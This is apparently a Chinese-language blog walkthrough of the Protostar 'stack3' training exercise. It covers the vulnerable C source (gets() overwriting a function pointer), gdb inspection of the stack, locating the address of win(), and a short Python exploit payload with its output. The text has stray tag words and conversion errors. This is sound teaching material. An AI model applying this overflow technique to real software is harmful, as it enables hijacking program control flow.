Exploit練習Protostar——stack3

簡介

  這個練習須要找到函數的起始地址,並用該地址覆蓋棧中的函數指針。python

源碼

 1 #include <stdlib.h>
 2 #include <unistd.h>
 3 #include <stdio.h>
 4 #include <string.h>
 5 
 6 void win()
 7 {
 8   printf("code flow successfully changed\n");
 9 }
10 
11 int main(int argc, char **argv)
12 {
13   volatile int (*fp)();
14   char buffer[64];
15 
16   fp = 0;
17 
18   gets(buffer);
19 
20   if(fp) {
21       printf("calling function pointer, jumping to 0x%08x\n", fp);
22       fp();
23   }
24 }

分析

  此次代碼中除了main函數外,還有一個win函數,可是在main函數中並無出現調用win函數的語句,而本來的modified變量變成了一個函數指針fp,注意雖然類型不一樣,可是這兩個變量的大小相同,在棧中的分佈也應該和以前相同。經過gets函數給buffer變量賦值,能夠覆蓋fp指針的值,使其指向win函數,從而在接下來的if語句中執行win函數,
  問題的關鍵在於,怎樣得到win函數的起始地址。函數

調試程序

  首先看一下棧分佈是否是和前面的練習相同,這裏咱們的用戶輸入是"abcd"spa

 1 (gdb) b 20
 2 Breakpoint 1 at 0x8048455: file stack3/stack3.c, line 20.
 3 (gdb) r
 4 Starting program: /opt/protostar/bin/stack3 
 5 abcd
 6 
 7 Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack3/stack3.c:20
 8 20 stack3/stack3.c: No such file or directory.
 9 in stack3/stack3.c
10 (gdb) print $esp
11 $1 = (void *) 0xbffffc50
12 (gdb) print $ebp
13 $2 = (void *) 0xbffffcb8
14 (gdb) x/26xw $esp
15 0xbffffc50: 0xbffffc6c 0x00000001 0xb7fff8f8 0xb7f0186e
16 0xbffffc60: 0xb7fd7ff4 0xb7ec6165 0xbffffc78 0x64636261
17 0xbffffc70: 0xb7fd7f00 0x0804967c 0xbffffc88 0x0804830c
18 0xbffffc80: 0xb7ff1040 0x0804967c 0xbffffcb8 0x080484a9
19 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048490 0xbffffcb8
20 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804849b 0x00000000
21 0xbffffcb0: 0x08048490 0x00000000

下面看一下win函數的起始地址:指針

(gdb) info address win
Symbol "win" is a function at address 0x8048424.

  如今咱們有了win函數的起始地址,接下來的方法就和以前的練習同樣了。調試

EXPLOIT編寫

  由於須要處理程序中的用戶輸入,因此使用subprocess模塊,和stack0相似,payload以0x24840408結尾,原理在stack2中已經說過了。
exploit代碼:code

1 import subprocess
2 proc = subprocess.Popen("/opt/protostar/bin/stack3", stdin=subprocess.PIPE)
3 payload = "6161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616124840408"
4 proc.communicate(payload.decode("hex"))

結果輸出:blog

$ python exploit3.py
calling function pointer, jumping to 0x08048424
code flow successfully changed
相關文章
相關標籤/搜索